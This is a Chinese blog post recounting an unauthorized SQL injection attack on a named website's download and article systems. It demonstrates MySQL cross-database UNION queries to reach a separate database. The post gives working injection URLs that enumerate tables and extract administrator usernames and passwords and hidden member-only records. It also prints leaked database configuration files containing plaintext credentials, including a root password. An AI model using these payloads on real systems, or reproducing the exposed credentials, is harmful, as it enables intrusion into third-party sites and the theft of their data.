浅谈MYSQL跨库查询

不知道大家有没有碰到这种情况,想获取一个固若金汤的PHP+MYSQL论坛的敏感信息,怎么办?社会工程学?从主机下手?其实大家大可不必如此消极,按照我们web安全爱好者的习惯,再浏览看看站点上的其他资源,如果有其他PHP+MYSQL系统有漏洞,那我们完全可以利用有漏洞的系统注入那个固若金汤的系统,就和从同一网段的脆弱主机入手一个道理,只是这个简单多了。

  其实在这篇文章中,我可以告诉大家,PHP中的注入和ASP中的注入有很大区别的,不像ASP只要没有过滤就基本上都可以注入,但PHP中呢,要么是int类型的变量没有过滤也没有用引号引起来,要么是magic_quotes_gpc关闭,其实只要PHP中的注入可以成功利用,基本就有90%以上的机会可以渗透到主机而非仅仅获取webadmin而已。

  我写的几篇PHP下注入MYSQL的文章中,其实在环境下都是一样的,就是能成功利用,但为什么分开来写,因为在能利用的情况下,有一部分的危害是相当大的,鉴于暑假是学生黑站高峰期,我还是决定9月份开学以后再发表出来,反正这种东西要顾及后果的。

  事情还是由想进入黑白的会员专区说起,因为我看见会员专区有点好玩的东西,但是又没有必要进入服务器要,不就是一个下载地址嘛,我就看中那个"国外最新间谍软件",很简单的事情不必搞得太复杂,会员专区的所有下载地址居然全部是:

http://www.heibai.net/vip/

  估计这里是障眼法,不管它,看下面的会员登陆框,原来是文章系统的用户登陆入口,采用文章系统来存放会员工具啊,文章那里果然有一个会员专区的分类,黑白的文章系统是ymInfo,既然是和其他站点一起使用的主机,我想应该所有数据表应该都在同一个数据库内,查询一下看看ymInfo的用户表user是不是存在,提交:

http://www.heibai.net/down/show.php?id=5174%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20user

  出错了,居然不存在,难道真的两个WEB程序不使用同一个数据库?先爆下载系统的配置文件出来看看(相关技术请看《Advanced SQL Injection with MySQL》这篇文章),因为夜猫的程序本来就有漏洞,很容易就可以从程序报错得到WEB绝对路径,下载系统的配置文件位置是:

D:/starkun/down/include/config.inc.php

  部分内容如下:

$dbhost = "localhost"; // 数据库主机名
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库密码
$dbname = "download"; // 数据库名

  下载系统是用download数据库,我们再来看看文章系统的,文章系统配置文件的位置是:

D:/starkun/article/include/config.inc.php

  部分内容如下:

$dbhost = "localhost"; // 数据库主机名
$dbuser = "root"; // 数据库用户名
$dbpass = "234ytr8ut"; // 数据库密码
$dbname = "article"; // 数据库名

  原来是真的是不同数据,黑白被我们用这招搞了这么多次了,也知道禁止MYSQL的远程连接了,所以我就查查MYSQL手册看看有什么可以利用的,看了一下,才发现以前漏了一段没有看,手册上这么说:

你可以以 tbl_name (在当前的数据库中) 引用一张表,或以 dbname.tbl_name 明确地指定其个数据。你要以以 col_name、tbl_name.col_name 或 db_name.tbl_name.col_name 引用一个列。 你不需要在一个 SELECT 语句中引用的列前指定 tbl_name 或 db_name.tbl_name 前缀,除非引用列存在二义性。查看章节 6.1.2 数据库、表、索引、列和别名,对于有歧义的列引用需要更加显式的列引用格式。

  也就是说我们可以跨库查询了,按照上面的语句格式,我们先来看看article数据库中是否真的存在ymInfo所使用的数据表,提交:

http://www.heibai.net/down/show.php?id=5174%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20article.user

  呵呵,页面正常返回,存在,其实跨库查询就这么简单,和平常的一样,只是在表名前加入数据库名就可以了,不过我们的事情还没有完呢,我要得到我想要的东西,要获取管理员的资料是很简单的,只要熟悉数据结构,很容易构造:

http://www.heibai.net/down/show.php?id=10000%20union%20select%201,username,1,1,1,1,1,1,1,1,1,password,1,1,1,1,1,1,1%20from%20article.user%20where%20usergroupid=1

  结果如图:http://www.xxql.com/Article/UploadFiles/200410/20041027085231545.gif

  不过,得到这个没有用,因为程序是采用Session验证,没有办法本地欺骗,还是继续要我们的会员软件的资料吧。

  太多条记录了,怎么才能知道哪个infoid是会员的工具啊?info表里有一个sortid字段是标识记录是属于哪个分类的,我们union一次所有属于sortid=11的记录,看看返回的是什么信息,然后再做下一步打算,提交:

http://www.heibai.net/down/show.php?id=10000%20union%20select%201,title,1,username,1,1,1,1,1,1,1,pagetext,1,1,1,1,1,1,1%20from%20article.info%20where%20sortid=11

  哈哈,居然直接爆出了会员软件的调用页面,的确让我有些吃惊。

http://www.xxql.com/Article/UploadFiles/200410/20041027085231570.gif

  原来黑白的会员专区也是使用夜猫下载1.x.x的,而且是一个全新的下载系统。全部放会员软件,毫无任何验证,只是藏得深一点而已。地址就是:

http://www.heibai.net/****/newdownload

  事情到这里也告一个段落了,文章很简单,完全是没事做写出来娱乐娱乐,有问题请到安全天使论坛或BST论坛找我。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值